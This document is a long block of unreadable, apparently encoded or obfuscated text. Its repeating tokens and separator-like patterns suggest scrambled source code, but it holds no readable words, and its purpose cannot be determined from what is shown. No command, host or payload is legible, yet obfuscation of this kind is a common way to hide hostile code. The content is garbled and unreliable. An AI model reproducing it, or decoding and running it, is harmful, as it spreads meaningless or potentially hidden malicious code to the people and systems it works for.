YS]Y^ERQVMPYS]Y^ERQVMPD5JZJYWZKNdbYS]Y^ERQVMP5B5B5B5owoR^K\WZGOMZLLVPQ\J]V\\W^VQ555ORLE]FW\GKW^MM^F5VY[ZYVQZ[VH`INEO^FN]EXD5RPL	\GW]]W	SFT[SO[QS	VXM][PQ]Y\L
 ]]W	SFT[SO[QS
VXM][PQ]Y\Lhorj`osjxvq`{vmVXM][PQ]Y\L		Y^SLZ5VYVXM][PQ]Y\L		RPL	\GWD5YPMZ^\WRPL	\GW^L[ZNRP^YRR]OD5ORLE]FW\GKWdbVH`INEO^FN]EX
[ZNRP^YRR]O5B5OMPO^X^KZ\PQQZ\KZ[]SPPRYVSKZM55555B5B55L]ZR]T
SN\U^MM^F5555VH`INEO^FN]EX		HXE\OLIFZTPN]Y5EFRTLZZP[K		
HX]T^EKEHX	P^Q^	HYK5VXM][PQ]Y\L			VXM][PQ]Y\L
M	L]ZERIEFRTLZZP[K
	5VH`INEO^FN]EX		VXM][PQ]Y\L		~}lo~kwEFRTLZZP[K	5EFRTLZZP[K		JZJYWZKN5VXM][PQ]Y\L	ORLE]FW\GKW5EFRTLZZP[K	R`NUOKEGWK
MFTM[K5VH`INEO^FN]EX	UTHJZR`Y`N`ME]U
^FSQHRQUJ]H[5555VH`INEO^FN]EX	Q`]K[SJGJTPG	EZIFSQHRQUJ]H[5]]W	SFT[SO[QSPHO\QHMQU[QGXNM[KQ	LWQMEKXSRZG555555GU]	LTK[\	WVXM][PQ]Y\L	]]W	SFT[SO[QS	 HO`ULPQ`ZQ\P[ZL]ZR]T
SN\UEFRTLZZP[K	
L]ZR]T
SN\U5QIKYIJFPSQXNHQEELNEH]LWWFGZZV`GU]	LTK[\	WMWRPLF`O	PL[5SKHUT	\^MM^F]]W	SFT[SO[QS		VH`INEO^FN]EX	5555`XRRGWXGWUKHPQJSS5555WM^]E\FYIRKIQ55YPMZ^\WNWST
^LURU\O	[XYD55VYVH`INEO^FN]EX	
KMJZP[	VGGPE`NKLWUJGTF^IJUD5]MZ^T55B55URU\O	[XYVH`INEO^FN]EXLKMVQXURU\O	[XY55VYURU\O	[XYD5\PQKVQJZ5B5KMFD5\PQLV[ZMVQSVQVQX55555VZUHKUNMWRPLF`O	PL[5555GWGRPQEIHXNRMIK[XPI\URU\O	[XYQIKYIJFPSQXNHQSKHUT	\aYJQ\KVPQKIKOWS[L]JLZVZUHKUND5ZMQZWP	SEEELNEH]LWWFGZZV`KIKOWS[L]VZUHKUN55VYZMQZWP	SEMZKJMQY^SLZ5MZKJMQ]]W	SFT[SO[QS	VXM][PQ]Y\L	VXM][PQ]Y\LZMQZWP	SEKMJZ5B5VYGWGRPQEIHXNRMD5PTG]`[M\TJL[^FSJEFRTLZZP[KEFRTLZZP[K	URU\O	[XY5\PQKVQJZ5B5olmRZLL^XZL]ZQ\WR^MTVKZM^KPM5555RFTOOZKQEELNEH]LWWFGZZV`GWGRPQEIHXNRMMWRPLF`O	PL[5VYRFTOOZKQD5PTG]`[M\TJL[^FSJVXM][PQ]Y\LEFRTLZZP[K	URU\O	[XY5\PQKVQJZ5B5`XRRGWXGWUKHPVH`INEO^FN]EX	EFRTLZZP[K	RFTOOZKQKMJZ5555VY]]W	SFT[SO[QS	`XRRGWXGWUKHPD55VYVH`INEO^FN]EX	VH`INEO^FN]EX
D5homV\WkZGK~ovPOKVPQMPH555JO[^KZ`POKVPQVXM][PQ]Y\L	
URU\O	[XY5B5]MZ^T5BZSLZD5PTG]`[M\TJL[^FSJVH`INEO^FN]EX]]W	SFT[SO[QS	URU\O	[XY5B5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVH`INEO^FN]EX	SKQO
]K`5\PQKVQJZ5B\^K\WzG\ZOKVPQSKQO
]K`D5\PQKVQJZ5B55B5VY]]W	SFT[SO[QS	`XRRGWXGWUKHPD5I
HVOKSU^M]EELNEH]LWWFGZZV`VXM][PQ]Y\L	
^MM^F5EFRTLZZP[K		HXE\OLIFZTPN]Y5VH`INEO^FN]EX		
HX]T^EKEHX	P^Q^	HYK55VXM][PQ]Y\L			VH`INEO^FN]EX
M	L]ZERIVH`INEO^FN]EX
	55VXM][PQ]Y\L	55MWRPLF`O	PL[5\	IVMTSYX`IVXM][PQ]Y\L		LKMKM]]W	SFT[SO[QSI
HVOKSU^M]EFRTLZZP[K	
]]W	SFT[SO[QS		5ZXTEKNRGV[^VXM][PQ]Y\L	\	IVMTSYX`I

5YPMZ^\WNWST
^LURU\O	[XYD55VYVXM][PQ]Y\L	KMJZP[	VGGPE`NKLWUJGTF^IJUD5]MZ^T5B5URU\O	[XYVXM][PQ]Y\L	LKMVQXURU\O	[XY\NTVOowo`vqk`r~gowo`vqk`r~gSW`OET[JOR\NTVO	5VYURU\O	[XYD5RPQPRPMOWVEZJQVYV\^KVPQ55\PQKVQJZ5B5TLW
TRLLHPLZOO]ZZSGMJWHXE\OLIFZTPN]YVH`INEO^FN]EX	KMJZ55RURMZLVT]XJIVH`INEO^FN]EX	ZXTEKNRGV[^5XSLVN^V
GVH`INEO^FN]EX		URU\O	[XY Y^SLZ  5YPMKTI
NWZV	
KTI
NWZV	
RURMZLVT]XJIKTI
NWZV	
D555VY]]W	SFT[SO[QS	KMJZP[	VGGPE`NKLWUJGTF^IJUD5]MZ^T5B5N
JIGMIQERTRKTI
NWZV	
RURMZLVT]XJI5WHTMN]WHTKEURU\O	[XYXSLVN^V
GVH`INEO^FN]EX	TLW
TRLLHEFRTLZZP[K	KTI
NWZV	
VXM][PQ]Y\L	RURMZLVT]XJIVXM][PQ]Y\L	ZXTEKNRGV[^dKTI
NWZV	
b5V]JL[LMLN`]PMOE^	VOWHTMN]WHTKEN
JIGMIQERTR YJQ\KVPQKIKOWS[L]JLZMWRPLF`O	PL[D5ZMQZWP	SEEELNEH]LWWFGZZV`KIKOWS[L]MWRPLF`O	PL[55VYZMQZWP	SEMZKJMQY^SLZ5MZKJMQVH`INEO^FN]EX	
EFRTLZZP[K	]]W	SFT[SO[QS	ZMQZWP	SEKMJZ5BQJSS5VYN
JIGMIQERTRVH`INEO^FN]EX	
V]JL[V]JL[D5`X[EELNEH]LWWFGZZV`V]JL[MWRPLF`O	PL[55`]OFNOR]TSV[XT`X[ EFRTLZZP[K	]]W	SFT[SO[QS	`X[KMJZQJSS5VY]]W	SFT[SO[QS	
`]OFNOR]TSV[XTD555`XRRGWXGWUKHP`]OFNOR]TSV[XTE\IJTIFL	M][L\SMP\JH
E\IJTIFL5VY]]W	SFT[SO[QS		VH`INEO^FN]EX
D5JO[^KZ`POKVPQEFRTLZZP[K	URU\O	[XY5B5555]MZ^T55B5555B55B5VY]]W	SFT[SO[QS	
`XRRGWXGWUKHPD5]MZ^T5B5B5B5VYVXM][PQ]Y\L	
`XRRGWXGWUKHPD5MZKJMQ5B5VYPHO\QHMQU[QGVXM][PQ]Y\L	]]W	SFT[SO[QS	D5[ZSZKZ`POKVPQZ
IZOXFH`L^GPJJ	PVH`INEO^FN]EX5B5VYVLLZKxsp}~sldEFRTLZZP[K
bCCVXM][PQ]Y\L	
xsp}~sldEFRTLZZP[K
bxsp}~sld]]W	SFT[SO[QSb^MM^F5555xsp}~sldEFRTLZZP[KbVXM][PQ]Y\LVXM][PQ]Y\L	xsp}~sldEFRTLZZP[KbPHO\QHMQU[QG5VYVLLZK`XRRGWXGWUKHPd]]W	SFT[SO[QSbEFRTLZZP[K`XRRGWXGWUKHPd]]W	SFT[SO[QS
bD5RT^FFWOFIUOFWJ`XRRGWXGWUKHPdVH`INEO^FN]EX
bVLLZK`XRRGWXGWUKHPdVXM][PQ]Y\L	b]]W	SFT[SO[QS`XRRGWXGWUKHPd]]W	SFT[SO[QS	b `XRRGWXGWUKHPdEFRTLZZP[K	bZROKF`XRRGWXGWUKHPdVXM][PQ]Y\Lb5B55W]PLGW	]Y^SLZ55YVHWP`RMRF]^MM^F555VYVLLZK`XRRGWXGWUKHPdVXM][PQ]Y\LbEFRTLZZP[K	
`XRRGWXGWUKHPdVXM][PQ]Y\LbD5VXOWYT^Z^MM^F55YPMZ^\W`XRRGWXGWUKHPd]]W	SFT[SO[QSb^LOUYP\PUYJ
	D5VYVH`INEO^FN]EXOUYP\PUYJ
	OUYP\PUYJ
	D5VXOWYT^ZdbOUYP\PUYJ
	5B5[V^XQPLKV\[^K^YSPHXM^OW55B5IQNTZHI
^]	xsp}~sldEFRTLZZP[Kb5VXOWYT^ZE[[[EY	RYE[VFXFVXOWYT^Z5555xsp}~sldVXM][PQ]Y\LbVXOWYT^Z5YVHWP`RMRF]dEFRTLZZP[KbVXOWYT^Z5VYZROKFEFRTLZZP[K	VXOWYT^ZIQNTZHI
^]	CCZROKFVH`INEO^FN]EX	IQNTZHI
^]	VXOWYT^ZD5W]PLGW	]KMJZ5B55B55VYVLLZK`XRRGWXGWUKHPdEFRTLZZP[KbVXM][PQ]Y\L`XRRGWXGWUKHPd]]W	SFT[SO[QSbD5VXOWYT^Z^MM^F55YPMZ^\W`XRRGWXGWUKHPdVH`INEO^FN]EXb^LOUYP\PUYJ
	D5VYVXM][PQ]Y\LOUYP\PUYJ
	OUYP\PUYJ
	D5VXOWYT^ZdbOUYP\PUYJ
	5B5B5IQNTZHI
^]	xsp}~sldEFRTLZZP[Kb5555VXOWYT^ZE[[[EY	RYE[VFXFVXOWYT^Z555xsp}~sldVXM][PQ]Y\LbVXOWYT^Z5YVHWP`RMRF]dVH`INEO^FN]EXbVXOWYT^Z5VYZROKFEFRTLZZP[K	VXOWYT^ZIQNTZHI
^]	CCZROKFVXM][PQ]Y\L	IQNTZHI
^]	VXOWYT^ZD555W]PLGW	]KMJZ5B5B5R]LKMVQXLKMV\K^]PMKZNJVI^SZQ\Z\S^LL55VYVLLZK`XRRGWXGWUKHPdVH`INEO^FN]EX
bVH`INEO^FN]EX`XRRGWXGWUKHPdVXM][PQ]Y\L
bD5\XVSXLT	
PH\	P[G^WEOWE	QV`
VH`INEO^FN]EX5xsp}~sld]]W	SFT[SO[QSb`XRRGWXGWUKHPdEFRTLZZP[K
b5YVHWP`RMRF]d]]W	SFT[SO[QSb`XRRGWXGWUKHPdVH`INEO^FN]EXb5VYVH`INEO^FN]EX
`XRRGWXGWUKHPdEFRTLZZP[KbVXM][PQ]Y\L
\XVSXLT	
PH\	D5WZMRVKV^QIVLVKPM55UE`SSEE	KFE^M[HQTRIVH`INEO^FN]EX	`XRRGWXGWUKHPd]]W	SFT[SO[QSbVH`INEO^FN]EX5MU[WNINOJVTMJTXJ5B5JQLZK\XVSXLT	
PH\	555B5[JIRR[QVLLZK`XRRGWXGWUKHPdVH`INEO^FN]EXb]]W	SFT[SO[QS`XRRGWXGWUKHPdVH`INEO^FN]EXb `XRRGWXGWUKHPdEFRTLZZP[Kb^MM^F555VYVLLZK[JIRR[QdEFRTLZZP[Kb]]W	SFT[SO[QS[JIRR[Qd]]W	SFT[SO[QSbD5VYVH`INEO^FN]EX

[JIRR[QdEFRTLZZP[KbGGYD5555xsp}~sldVH`INEO^FN]EXb[JIRR[QdEFRTLZZP[Kb5YVHWP`RMRF]d]]W	SFT[SO[QSb[JIRR[Qd]]W	SFT[SO[QSb5BZSLZD555xsp}~sldEFRTLZZP[Kb5YVHWP`RMRF]dVH`INEO^FN]EXb5UE`SSEE	KFE^M[HQTRIEFRTLZZP[KVXM][PQ]Y\L555B5B5VYVLLZK[JIRR[QdEFRTLZZP[Kb]]W	SFT[SO[QS[JIRR[Qd]]W	SFT[SO[QSbD5VY]]W	SFT[SO[QS

[JIRR[Qd]]W	SFT[SO[QSb	D5xsp}~sldVXM][PQ]Y\Lb[JIRR[QdVXM][PQ]Y\Lb5YVHWP`RMRF]dVH`INEO^FN]EXb[JIRR[Qd]]W	SFT[SO[QSb5BZSLZD5xsp}~sld]]W	SFT[SO[QSb5YVHWP`RMRF]dEFRTLZZP[Kb5UE`SSEE	KFE^M[HQTRI]]W	SFT[SO[QS]]W	SFT[SO[QS55B5B5IZJR^QREX`
VLLZK`XRRGWXGWUKHPdVH`INEO^FN]EX
bVH`INEO^FN]EX	`XRRGWXGWUKHPdVXM][PQ]Y\Lb `XRRGWXGWUKHPdVXM][PQ]Y\Lb^MM^F5IKLW]N^]F\\^MM^F5EFRTLZZP[K]]W	SFT[SO[QS5]]W	SFT[SO[QSVXM][PQ]Y\L55VH`INEO^FN]EX]]W	SFT[SO[QS5VXM][PQ]Y\L]]W	SFT[SO[QS5VXM][PQ]Y\L
VH`INEO^FN]EX	5VH`INEO^FN]EXEFRTLZZP[K5]]W	SFT[SO[QSVXM][PQ]Y\L555]]W	SFT[SO[QS]]W	SFT[SO[QS55YPMZ^\WIKLW]N^]F\\^LIU^V`	]MYINSPKNRKZUD5VYVLLZKIZJR^QREX`
dIU^V`	]MYbVXM][PQ]Y\LIZJR^QREX`
dIU^V`	]MYb]]W	SFT[SO[QS

IZJR^QREX`
dIU^V`	]MYb	a
D5YVHWP`RMRF]dINSPKNRKZUbIZJR^QREX`
dIU^V`	]MYb5B5B5VYVLLZK`XRRGWXGWUKHPd]]W	SFT[SO[QS
b]]W	SFT[SO[QS`XRRGWXGWUKHPdEFRTLZZP[K
bD55I[WSV
JIJS\VQK`XRRGWXGWUKHPdVXM][PQ]Y\L
b5VYI[WSV
JIJS\

I[WSV
JIJS\GYYGYVHWP`RMRF]dVXM][PQ]Y\L
bI[WSV
JIJS\5B5VYVLLZK`XRRGWXGWUKHPdVH`INEO^FN]EXbEFRTLZZP[K`XRRGWXGWUKHPdVH`INEO^FN]EXbD5`\VVQK`XRRGWXGWUKHPdVXM][PQ]Y\L
b5VY`\V	`\V	

YVHWP`RMRF]d]]W	SFT[SO[QS	b`\V5B5VYZROKFYVHWP`RMRF]D5[ZSZKZ`POKVPQVXM][PQ]Y\L	5[ZSZKZ`POKVPQVH`INEO^FN]EX		5JO[^KZ`POKVPQVH`INEO^FN]EXVXM][PQ]Y\L	5[ZSZKZ`KM^QLVZQK]]W	SFT[SO[QS555ESXRO[\JHH	U
E^PTK`	H[^KT[V
F	Y[
`	H[^KT[V5555STYI]\VXN\\
\L5MZKJMQ5B55555J	MPIJ[WHWK^WVLYQ`I[NM^TIGJVH`INEO^FN]EXY^SLZ555VYEFRTLZZP[K	J	MPIJ[WHWKD5YVHWP`RMRF]]]W	SFT[SO[QSJ	MPIJ[WHWKYVHWP`RMRF]IWRR		\PHSowo`vqk`r~gowo`vqk`r~g[QFNPEYUOIWRR		\PHS5B55VYVH`INEO^FN]EX	VXM][PQ]Y\L
	D5MRNGNIQV[UEE
TWZ
GPNTVQVHN555VYVLLZKYVHWP`RMRF]dVH`INEO^FN]EX
bVQKYVHWP`RMRF]d]]W	SFT[SO[QS
bVQKYVHWP`RMRF]dEFRTLZZP[K
b	MRNGNIQV[UEE
TVQKYVHWP`RMRF]dVXM][PQ]Y\L
b55LZK`KM^QLVZQK^LLM`XV

EVTLNYVHWP`RMRF]MRNGNIQV[UEE
T5B55HGTKW	^YVH`INEO^FN]EX
YVHWP`RMRF]]]W	SFT[SO[QS
555VYVLLZKYVHWP`RMRF]dVXM][PQ]Y\L
bVXM][PQ]Y\L	VXM][PQ]Y\L
VXM][PQ]Y\L	]]W	SFT[SO[QS

VXM][PQ]Y\L	VH`INEO^FN]EXD5U^N[IM\THIWGNWRHO`XZK`L\WZ[JSZ[`ZIZQKEQHRENHMIZ5VYU^N[IM\THIWGNWRVQKU^N[IM\THIWGNWRVQKZMI^SVQKYVHWP`RMRF]d]]W	SFT[SO[QS
bD55HO`\SZ^M`L\WZ[JSZ[`WPPTEQHRENHMIZ5HO`L\WZ[JSZ`ZIZQKVH`INEO^FN]EX	EFRTLZZP[Ka	]]W	SFT[SO[QSEQHRENHMIZ5B5B5JO[^KZ`POKVPQVH`INEO^FN]EX]]W	SFT[SO[QS
	5[ZSZKZ`POKVPQVXM][PQ]Y\L
5[ZSZKZ`POKVPQVH`INEO^FN]EX		5[ZSZKZ`KM^QLVZQKEFRTLZZP[K5ESXRO[\JHH	U
E^PTK5STYI]\VXN\\
\L55555VYW]PLGW	]D5O
MUFU\UJIEIME^UY`5B5B\^K\WkWMPH^]SZSKQO
]K`D5[Z^SSP\^KZ\PI^MV^QKYPMhomzlk~ovI55PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS
SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5BYVQ^SSFD5X
LWR^P]VF\M]]W	SFT[SO[QS
5B5B555555YJQ\KVPQRT^FFWOFIUOFWJ^	Z`L^[O]MVVWEJEJTUQFE^MMRNGY^SLZ5D5VY\RVUG[

	SYRQHVXM][PQ]Y\L
MZKJMQ5KMFD55XQ
WT]GXNKEFRTLZZP[K^	Z`L^[O]KMJZ5VYVH`INEO^FN]EX	XQ
WT]GXNK]]W	SFT[SO[QS

XQ
WT]GXNKGG		ZXQ
WT]GXNKUH`VLVJVW
UTUZXQ
WT]GXNK5VYXQ
WT]GXNKCCVXM][PQ]Y\L

XQ
WT]GXNKCC]]W	SFT[SO[QS		XQ
WT]GXNK]]W	SFT[SO[QS	D5MZKJMQ5B5VYIE[
QM[VN\`]\E]JXQ
WT]GXNKD5PTG]`[M\TJL[^FSJEFRTLZZP[K	VXM][PQ]Y\L	5MZKJMQ5B5VYVH`INEO^FN]EXEFRTLZZP[K	]]W	SFT[SO[QS	XQ
WT]GXNK	OOY
Y\FLPEHD5VYMVVWEJEJTUQMVVWEJEJTUQOOY
Y\FLPEHdbD5PTG]`[M\TJL[^FSJVXM][PQ]Y\L	
VXM][PQ]Y\L		KFJYTF
OGEP

\RSMXLEFSSKFJYTF
OGEP5MZKJMQ5B5MVVWEJEJTUQOOY
Y\FLPEHdb555BZSLZD5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS	
VH`INEO^FN]EX	5MZKJMQ5B555VYFE^MMRNGIZMLVPQ`\PRO^MZMVVWEJEJTUQHX]T^EKEHX	P^Q^	HYKD5MZKJMQ5B555Q
J\VQG^NLS[ZEGGFQGIVMRH55VYQ
J\VQG^NLS[CC]]W	SFT[SO[QS

Q
J\VQG^NLS[D5PTG]`[M\TJL[^FSJVH`INEO^FN]EX	
EFRTLZZP[K	5MZKJMQ555B5`LRHSJNJLJ
SNXZK`POKVPQ]]W	SFT[SO[QS5VY]]W	SFT[SO[QS	`LRHSJNJLJ
SNEFRTLZZP[K		`LRHSJNJLJ
SNVH`INEO^FN]EX
XQ
WT]GXNKCD5^

KM\S]ULQVQKVH`INEO^FN]EX	`LRHSJNJLJ
SNEFRTLZZP[K		`LRHSJNJLJ
SNC5VYVH`INEO^FN]EX
	^

KM\S]ULQ

D55MZKJMQ5B5B5[N]G]]LVXJ
VXM][PQ]Y\L	M	L]ZERI]]W	SFT[SO[QS
VH`INEO^FN]EX
XQ
WT]GXNK5VY]]W	SFT[SO[QS
[N]G]]LVXJ
D5F`VILVFHVQK]]W	SFT[SO[QS[N]G]]LVXJ
5VYF`VILVFH]]W	SFT[SO[QSF`VILVFH
	D5MZKJMQ5B55VXM][PQ]Y\L[N]G]]LVXJ
5B5JQLZK[N]G]]LVXJ
F`VILVFH5]P^UJPRWMINY^SLZ5VYVH`INEO^FN]EX	VH`INEO^FN]EX
VXM][PQ]Y\L]]W	SFT[SO[QS	D5FZGNFYMK	HIKTEFRTLZZP[K
WPRZ`JMS^MM^FVH`INEO^FN]EX	]]W	SFT[SO[QS]]W	SFT[SO[QSY^SLZ5VY]]W	SFT[SO[QS
VH`INEO^FN]EXVL`HO`ZMMPMFZGNFYMK	HIKTD5]P^UJPRWMINVQKHO`MZRPKZ`MZKMVZIZ`MZLOPQLZ`\P[ZFZGNFYMK	HIKT	5B5^H^VKMZLPSIZM555B5\PROVSZ\PROPLVKZYPMmZ\KPM^JKPMZY^\KPM55^XJGWQRRY^SLZSJMN	PNSLowo`r~upm`izmlvpqSNGQ
RMQSJMN	PNSL5VYVXM][PQ]Y\L	VXM][PQ]Y\LD5[Z^\KVI^KZKJR]SVQXHVQ[PH55VFEMXQ	L[URXZK`POKVPQ]]W	SFT[SO[QS^MM^F5555^XJGWQRRVXM][PQ]Y\L	VFEMXQ	L[UR]]W	SFT[SO[QSNHWM
	E]	YE^MVFEMXQ	L[URKMJZ5B5NNKZM`SOUHJYLELIV\ZM	L]ZERI	5VYL]NY]EJ\QQ
ILGUVGOM	L]ZERIKYRNPPYTJF^ZT
PQHXQ
WT]GXNKD5PTG]`[M\TJL[^FSJVXM][PQ]Y\L	
EFRTLZZP[K5MZKJMQ5B5S^YTFWKYW`^M	L]ZERI5Q]QQGSPYJGTGQSFM	L]ZERI5VY]]W	SFT[SO[QS	VH`INEO^FN]EXLZK`KM^QLVZQKVXM][PQ]Y\LLYMOWNPO\FV
	EQEEOE\TSQOMLYMOWNPO\FV LYMOWNPO\FVLYMOWNPO\FV5VY]P^UJPRWMINVH`INEO^FN]EX	]]W	SFT[SO[QS
VH`INEO^FN]EX	VH`INEO^FN]EXD5K]R
KFPJS\O5YPM[HFMHXNVN[HFMHXNVN[HFMHXNVND5V[KUMISHUKQEFEFRTLZZP[KWPRZ`JMS]]W	SFT[SO[QS
VXM][PQ]Y\L^MM^F]]W	SFT[SO[QS	]]W	SFT[SO[QSVXM][PQ]Y\LY^SLZ5VYEFRTLZZP[K	]]W	SFT[SO[QSVL`HO`ZMMPMV[KUMISHUKQEFD5VY[HFMHXNVNVH`INEO^FN]EX	VXM][PQ]Y\LEFRTLZZP[K5\PQKVQJZ5B5^THUUXSX	OOXRVQKHO`MZRPKZ`MZKMVZIZ`MZLOPQLZ`\P[ZV[KUMISHUKQEF5VY^THUUXSX	OOXRCC]]W	SFT[SO[QS^THUUXSX	OOXR^MM^F

	


	GGKMJZD5555VY[HFMHXNVNVH`INEO^FN]EX	EFRTLZZP[KVH`INEO^FN]EX5\PQKVQJZ5B5K]R
KFPJS\O^THUUXSX	OOXR5]MZ^T5B5ho}JKKPQ}SP\THV[XZKMZQ[ZM55VYK]R
KFPJS\OK]R
KFPJS\O	5VYK]R
KFPJS\OD5JNYM
J^HMFKL]NY]EJ\QQ
ILGUVGOM	L]ZERIKYRNPPYTJF^ZT
PQHQ
J\VQG^NLS[5VYJNYM
J^HMFKJNYM
J^HMFKL]NY]EJ\QQ
ILGUVGOM	L]ZERIQ
J\VQG^NLS[5JO[^KZ`POKVPQVH`INEO^FN]EXVH`INEO^FN]EX
XQ
WT]GXNKCEFRTLZZP[K]]W	SFT[SO[QS5VYJNYM
J^HMFKD5PTG]`[M\TJL[^FSJVH`INEO^FN]EXEFRTLZZP[KK]R
KFPJS\O5MZKJMQ5B5Q]QQGSPYJGTGQSFM	L]ZERI5S^YTFWKYW`^M	L]ZERI5ZEGGFQGIVMRHKMJZ5555GK^MSXUNEKNHLVKKMJZ5WHJJGE[
F	NMVXM][PQ]Y\L
M	L]ZERIEFRTLZZP[K
	5YPMZ^\W^MM^FVXM][PQ]Y\LM	L]ZERIJ`\^PQZPIIFTLPWKQ^LVKN
LY\OGKWGD55]]W	SFT[SO[QSVKN
LY\OGKWGEFRTLZZP[K	WHJJGE[
F	NM5]]W	SFT[SO[QSVKN
LY\OGKWG]]W	SFT[SO[QSWHJJGE[
F	NMH`JOLWJQ
ES
E[
U[T\LTVH`JOLWJQ
ES555B5IZ\KPMVEZOMZL\MVOKVIZOMVPMVKFNJZJZ55VY^XJGWQRR^^FJIM`E^]QEZREFRTLZZP[KVXM][PQ]Y\L
D5I^[^`PSEHXZK`POKVPQ]]W	SFT[SO[QS^MM^F555VYVH`INEO^FN]EX
I^[^`PSEH]]W	SFT[SO[QS	NHWM
	E]	YE^MI^[^`PSEHKMJZD5I^[^`PSEHdbNHWM
	E]	YE^M5JO[^KZ`POKVPQEFRTLZZP[KI^[^`PSEH5B5B5xsp}~sldEFRTLZZP[Kb5STYI]\VXN\\
\L5PTG]`[M\TJL[^FSJVH`INEO^FN]EXVH`INEO^FN]EXK]R
KFPJS\O5MZKJMQ55B5B5VYMVVWEJEJTUQD5xsp}~sld]]W	SFT[SO[QSbMVVWEJEJTUQ5555PHLXR^WQHTM	L]ZERIMVVWEJEJTUQ5B5VYFE^MMRNGD5EJ
RMEQVI]]W	SFT[SO[QS
M	L]ZERIEFRTLZZP[K
	5YPMZ^\W^MM^FEFRTLZZP[KM	L]ZERIJ`\^PQZPIIFTLPWKQ^LVQRM
S[MKVYD5VH`INEO^FN]EXVQRM
S[MKVYVXM][PQ]Y\LEJ
RMEQVI5B5JQLZKEJ
RMEQVIVQRM
S[MKVY5B5UE`SSEE	KFE^M[HQTRIVXM][PQ]Y\LXQ
WT]GXNKVH`INEO^FN]EX5ZEGGFQGIVMRHKMJZ5GK^MSXUNEKNHLVKKMJZ5xsp}~sldVH`INEO^FN]EXb5STYI]\VXN\\
\L5NNKZM`SOUHJYLELIV\ZM	L]ZERI5VYQ]QQGSPYJGTGQSFM	L]ZERIZUST[\KTSM	L]ZERI5JO[^KZ`POKVPQVXM][PQ]Y\LMVVWEJEJTUQCEFRTLZZP[K]]W	SFT[SO[QS5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJEFRTLZZP[KSKQO
]K`5555B\^K\WzG\ZOKVPQSKQO
]K`D5[ZLZMV^SVEZIVLVKPMYPMmZ\KPM^JKPMZY^\KPM55BYVQ^SSFD5X
LWR^P]VF\MEFRTLZZP[K55B5B5YJQ\KVPQ\XLJUFLQSE5D5KM^\Z]MV[XZYPMho}SP\T|PQKMPSL5555VY[ZYVQZ[EFRTLZZP[KCCVXM][PQ]Y\LEFRTLZZP[KD5LOZ\V^SVEZY^VKWYJSHMVKZ^WZ^[SPX55VYVXM][PQ]Y\L~}lo~kwEFRTLZZP[K
D5hPM[oMZLL	O^KKZMQLL^KVLYV^]SZLSV[VQXHVQ[PH55MZNJVMZ`PQ\Z~}lo~kwVXM][PQ]Y\L
QHMFG	ZGRMG]]G
KN^QZ\ZMR
\NRQHMFG	ZGRM5B5VYVH`INEO^FN]EXVH`INEO^FN]EXD5owoVQKZMLZ\KVPQMZS^GZ[VQKZMOMZKZM55555MZKJMQ5B5OMPO^X^KZ\PQLK[Z^[SZKKZM55B5\SZ^QZM^\KVPQ55NOX^		\`XZK`OSJXVQL5VY]]W	SFT[SO[QS
NOX^		\`D55MZKJMQ55B5SVLK^MM^F5YPMZ^\WNOX^		\`^L]^LZQ^RZH^W`FKJFPHLLKD5VY]^LZQ^RZNHWM
	E]	YE^MD5\PQKVQJZ5B5SVLKd]^LZQ^RZbH^W`FKJFPHLLK555B5MZKJMQSVLK555B5YJQ\KVPQLOWM]O]LJO\PSHEGZS^PI[VGPZFUPIZGN5D5KMVO\PJQK55555IXVKZ
OWL`GW]]W	SFT[SO[QS
\PSHEGZS^PY^SLZQJSSG^	G
Z5VYIXVKZ
OWL`GWD5MZKJMQY^SLZ5B555YPMZ^\WI[VGPZFUPIZGN^LLVZ`	`G
`	Z\D55VY]]W	SFT[SO[QS	LVZ`	`G
`	Z\CCLVZ`	`G
`	Z\CCEFRTLZZP[K

LVZ`	`G
`	Z\G^
G
^D5\PQKVQJZ5555B555KMFD5555IU
LRQ	YOEFRTLZZP[K	LVZ`	`G
`	Z\IXVKZ
OWL`GW5B\^K\WkWMPH^]SZOJZ]JFGNZPXESYD5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSOJZ]JFGNZPXESY5\PQKVQJZ5B\^K\WzG\ZOKVPQOJZ]JFGNZPXESYD555\PQKVQJZ5B55VYIU
LRQ	YOD5MZKJMQKMJZ5B5VLPRZKMV\OVOZSVQZ55B5MZKJMQY^SLZ55B55YJQ\KVPQKWU
G]O	LF	[OSJXVQ`]^LZQ^RZ555D5I[VGPZFUPIZGNxsp}~sld]]W	SFT[SO[QSb5VYEFRTLZZP[K
I[VGPZFUPIZGNCCZROKFI[VGPZFUPIZGND55MZKJMQY^SLZ5B5VY[ZYVQZ[VXM][PQ]Y\LCCZROKFOSJXVQ`]^LZQ^RZCCEFRTLZZP[KOSJXVQ`]^LZQ^RZEFRTLZZP[K	Y^SLZD5MZKJMQY^SLZ5B55QSGTU\Zho`osjxvq`{vmOSJXVQ`]^LZQ^RZ5555VYEFRTLZZP[KOSJXVQ`]^LZQ^RZD5G`ZVR^	ZHGZ^MM^FQSGTU\Z5BZSLZD5MOTSTJ\LVXM][PQ]Y\LQSGTU\Z5VY]]W	SFT[SO[QS
MOTSTJ\LCCVXM][PQ]Y\LMOTSTJ\LD5MZKJMQY^SLZ5B5G`ZVR^	ZHGZUGQP`MMXZZZZT	GYMOTSTJ\L^MM^FVH`INEO^FN]EXVXM][PQ]Y\LEFRTLZZP[KVH`INEO^FN]EX
VXM][PQ]Y\L	5B55555YPMZ^\WG`ZVR^	ZHGZ^L\PSHEGZS^PD55VY]]W	SFT[SO[QS\PSHEGZS^PD55\PQKVQJZ5B5ho}SP\T|PQKMPSL\PI^MV^QK^[UOMPKPKFOZ55VYLOWM]O]LJO\PSHEGZS^PI[VGPZFUPIZGND5MZKJMQKMJZ5B5LOVSSRZ[V^KPM55B5MZKJMQY^SLZ5B5YJQ\KVPQUGQP`MMXZZZZT	GYMOTSTJ\L^\WV`PVEJ`LSKOZK`JJEY`\WM[OUZ	PXJLIVQJSSPK`PJ
]
X^\QJSS5D5SVLK^MM^F55VYZK`JJEY`\WMGG
D5555MZKJMQSVLK5B5VY[OUZ	PXJLIVQJSSD5[OUZ	PXJLIV^MM^F5PK`PJ
]
X^\VH`INEO^FN]EX	KMJZGG5B5555VYEFRTLZZP[KKMJZPK`PJ
]
X^\D5MZKJMQSVLK5B55VY]]W	SFT[SO[QS
